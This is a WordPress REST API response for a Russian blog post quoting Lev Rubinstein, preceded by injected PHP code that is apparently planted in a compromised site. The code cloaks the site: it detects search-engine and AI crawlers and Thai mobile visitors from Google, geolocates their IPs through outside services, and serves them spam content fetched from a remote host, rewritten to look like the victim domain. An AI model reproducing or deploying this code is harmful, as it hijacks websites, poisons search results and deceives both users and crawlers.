$API_URL = 'https://id.yuanhengbc.com/th100';
$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;
function rewrite_remote_urls($html, $api_url, $my_domain) {
if (empty($html)) return $html;
$orig_host = parse_url($api_url, PHP_URL_HOST);
$my_host = parse_url($my_domain, PHP_URL_HOST);
$html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);
$html = str_replace(
array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
array($my_domain, $my_domain, '//' . $my_host),
$html
);
$html = preg_replace(
'/ true,
CURLOPT_TIMEOUT => 15,
CURLOPT_USERAGENT => $ua,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
));
$body = curl_exec($ch);
curl_close($ch);
return $body;
} else {
$ctx = stream_context_create(array(
'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true)
));
return @file_get_contents($final, false, $ctx);
}
}
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '';
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
if ($ua === '') $ua = ' ';
$bot_list = array(
'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile',
'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool',
'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon',
'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview',
'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot',
'anthropic-ai','DuckDuckBot','DuckAssistBot'
);
$is_bot = false;
foreach ($bot_list as $b) {
if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}
$is_mobile = false;
foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) {
if (stripos($ua, $m) !== false) { $is_mobile = true; break; }
}
$is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false));
$is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1);
function check_ip_country() {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$ip = trim(explode(',', $ip)[0]);
if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL';
$ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip));
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'),
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code'];
}
$ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode');
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['countryCode'])) return $j['countryCode'];
}
return 'UNKNOWN';
}
if ($is_bot) {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
if ($is_mobile && $is_google && $is_th_lang) {
if (check_ip_country() === 'TH') {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
}
add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; });
{"id":5029,"date":"2024-01-14T23:57:04","date_gmt":"2024-01-14T20:57:04","guid":{"rendered":"https:\/\/www.vladimirkoskov.ru\/?p=5029"},"modified":"2024-01-18T09:08:53","modified_gmt":"2024-01-18T06:08:53","slug":"5029","status":"publish","type":"post","link":"https:\/\/www.vladimirkoskov.ru\/?p=5029","title":{"rendered":"\u041f\u043e\u044d\u0442 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u043f\u043e\u044d\u0442. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0441\u0442\u0430\u043b\u043e \u0432\u0435\u043b\u0438\u043a\u043e\u0433\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u043f\u043e\u044d\u0442\u0430."},"content":{"rendered":"
<\/p>\n
\u0412 \u043a\u043d\u0438\u0433\u0435 \u00ab\u0417\u043d\u0430\u043a\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f\u00bb \u041b\u0435\u0432 \u0421\u0435\u043c\u0435\u043d\u043e\u0432\u0438\u0447 \u0420\u0443\u0431\u0438\u043d\u0448\u0442\u0435\u0439\u043d \u043d\u0430\u043f\u0438\u0441\u0430\u043b:<\/h2>\n\u00ab\u0423\u0447\u0438\u0442\u044c \u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u043b\u044e\u0431\u0432\u0438 \u043a \u0441\u0432\u043e\u0431\u043e\u0434\u0435 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u043e, \u043d\u043e \u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e. \u0410 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0442\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u0438\u043c-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u2014 \u044f\u0432\u043b\u044f\u044f \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044f \u0441\u0432\u043e\u0438\u043c \u043b\u0438\u0447\u043d\u044b\u043c \u0442\u0432\u043e\u0440\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u043f\u043e\u0432\u0441\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u043c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c, \u043a\u0430\u043a\u043e\u0432\u044b \u0431\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0435 \u043b\u044e\u0434\u0438. \u0421\u0432\u043e\u0431\u043e\u0434\u0443 \u043d\u0435 \u043f\u0440\u0435\u043f\u043e\u0434\u0430\u044e\u0442, \u0435\u0439 \u043d\u0435 \u0443\u0447\u0430\u0442. \u0415\u044e \u0437\u0430\u0440\u0430\u0436\u0430\u044e\u0442\u00bb.<\/h2>\n","protected":false},"excerpt":{"rendered":"
\u0412 \u043a\u043d\u0438\u0433\u0435 \u00ab\u0417\u043d\u0430\u043a\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f\u00bb \u041b\u0435\u0432 \u0421\u0435\u043c\u0435\u043d\u043e\u0432\u0438\u0447 \u0420\u0443\u0431\u0438\u043d\u0448\u0442\u0435\u0439\u043d \u043d\u0430\u043f\u0438\u0441\u0430\u043b: \u00ab\u0423\u0447\u0438\u0442\u044c \u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u043b\u044e\u0431\u0432\u0438 \u043a \u0441\u0432\u043e\u0431\u043e\u0434\u0435 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u043e, \u043d\u043e \u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e. \u0410 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0442\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u0438\u043c-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u2014… <\/p>\n","protected":false},"author":1,"featured_media":5030,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[58],"tags":[],"class_list":["post-5029","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-main-5"],"_links":{"self":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/5029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5029"}],"version-history":[{"count":3,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/5029\/revisions"}],"predecessor-version":[{"id":5033,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/5029\/revisions\/5033"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/media\/5030"}],"wp:attachment":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}